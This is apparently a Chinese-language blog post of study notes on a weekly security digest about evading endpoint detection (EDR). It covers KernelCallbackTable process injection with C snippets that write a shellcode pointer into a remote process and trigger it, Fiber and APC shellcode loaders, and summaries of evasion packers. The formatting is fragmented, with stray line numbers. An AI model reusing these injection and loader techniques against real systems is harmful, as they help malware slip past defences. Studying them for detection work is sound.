绿盟科技-每周蓝军技术推送(2022.4.16-4.22)学习

0x01 企业级EDR绕过技术

  • 原文名称:A blueprint for evading industry leading endpoint protection in 2022
  • 作者主要介绍了规避现代EDR的几种常见思路

0x02 构建API调用框架绕过杀软hook

  • 通常API函数调用过程如下:
    3环API(kernel32.dll) -> ntdll.dll -> sysenter -> KiFastCallentry -> SSDT -> 真正调用的0环API

  • 文章作者的思路是既然应用层API调用都要经过SSDT,继而调用R0的函数,EDR产品会使用SSDT hook来监控敏感的调用。
    所以,我们通过伪造的SSDT,来规避EDR产品检测。

  • 作者首先通过中断门,进入R0,然后在伪造SSDT。这样的话,R3程序通过中断门,通过伪造的SSDT进入指定的内核函数。然后规避EDR。
  • 但是,这个方法比较理想化,第一:win7及以上系统无法通过中断门进入,所以,理论上这个方法只能在windowsxp下实现,第二:因为涉及到驱动文件,如何保证文件落地不被查杀,第二,如何保证驱动能被安全的加载,第三,合理有效的数字签名如何获取。
    Ref:https://tttang.com/archive/1546/

0x03 Kernelcallbacktable 注入

  • KernelCallbackTable(系统回调表)是由KeUserModeCallback函数调用,每当GUI进程加载User32.dll的时候,系统就会通过PEB找到KernelCallbackTable地址,并进行初始化为函数数组,这个函数数组中的函数通常用于响应窗口消息。

  • 所以,攻击者可以通过修改远程进程的KernelCallbackTable的函数数组,然后发送一个对应的窗口消息,从而实现劫持执行流。

  • 本文作者参考modexpblog的思路:

    • 通过窗口获取目标进程Pid,从而获取目标进程的伪句柄。

      1
      2
      HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
      printf("[+] Process Handle: 0x%p\n", hProcess);
    • 通过调用NtQueryInformationProcess获取ProcessBasicInformation,pbi结构体中保存着Peb的地址

      1
      2
      3
      PROCESS_BASIC_INFORMATION pbi;
      pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
      myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
* 通过PEB获取KernelCallbackTable
1
2
3
4
5
6
7
8
PEB peb;
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);
KERNELCALLBACKTABLE kct;
ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable);
```
* 将shellcode和新的KernelCallbackTable写入远程进程

LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);

1
* 更新一下PEB的KernelCallbackTable地址。

// Update the PEB
WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
printf(“[+] Remote process PEB updated\n”);

1
* 最后,通过发送窗口请求,响应操作

COPYDATASTRUCT cds;
WCHAR msg[] = L”Pwn”;
cds.dwData = 1;
cds.cbData = lstrlen(msg) * 2;
cds.lpData = msg;
SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
* Ref:[Adventures with KernelCallbackTable Injection](https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html)
* Ref:[Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy](https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/)
* Ref:[攻击技术研判 |Lazarus搭载新的载荷执行与控制流劫持技术(此处原文应该来自M01n)](http://www.ctfiot.com/28074.html)
## 0x04 利用Exception Directory获取系统服务调用号
* 这篇文章思维跳跃度太高,没太看明白。
## 0x05 常见的PE打包器在Windows 11中的免杀测试
* 这几款免杀框架主要都采用了一下技术:
* Loader[ScareCrow]:通过将恶意的dll注入到诸如Wscript,Msiexe等系统进程中,规避一些EDR的检测,但效果估计差强人意。
* Console[ScareCrow]:通常,恶意软件需要隐藏窗口是通过创建进程时,设置ldflags标志实现的,但是这很容易被EDR检测到,所以,通过GetConsoleWindow和ShowWindow实现窗口隐藏。
* ByPass AMSI和ETW[ScareCrow,inceptor等]:这没什么好说的,正常的都会这样做的。
* Delivery[ScareCrow]:这个没太看懂,应该是一种远程命令执行,或者远程数据传递的技术吧。
* AntiDebug[PEzor]:反调试
* unhook[PEzor]:移除部分用户层Hook
* syscalls[PEzor,Nimcrypt2等]:syscall 规避用户层Hook
* Shellcode和函数名加密[charlotte,FourEye,inceptor等等]
* API动态调用[charlotte]:charlotte所指的动态调用是指使用GetProcAddress获取函数地址后,然后调用。
* 正常文件插入shellcode[Sh3llter,msf,cobaltstrike旧版本]:可以有效降低信息熵,但是cs在近几个版本中取消了。
* Fiber(纤程)和APC[FourEye,Nimcrypt2]:FourEye的这几种方法都是在处理调用shellcode如何实现免杀,常见的直接调用shellcode不容易绕过EDR。
* Fiber这个方案主要调用CreateFiber创建一个纤程对象,然后调用SwitchToFiber选择即可。
* APC这个方案就是调用QueueUserAPC插入一个APC到队列中
* Ntdll ByPass
* 通过一些不常见的语言Nim来减少特征[Nimcrypt2]
* 系统调用名称随机化[Nimcrypt2]:就是在获取API函数地址的时候,使用随机的函数名称,这样减缓分析进度。
* LLVM混淆[Nimcrypt2]

//Fiber
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
SwitchToFiber(shellcodeFiber);
//APC
char buffer = (char)Allocate(GetCurrentProcess(), 0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(buffer, shellcode, shellcode_size);
QueueUserAPC((PAPCFUNC)buffer, hthread, (ULONG_PTR)buffer);
```

0x06 攻击技术研判|发现新招!攻击者投递伪装成文件夹的恶意LNK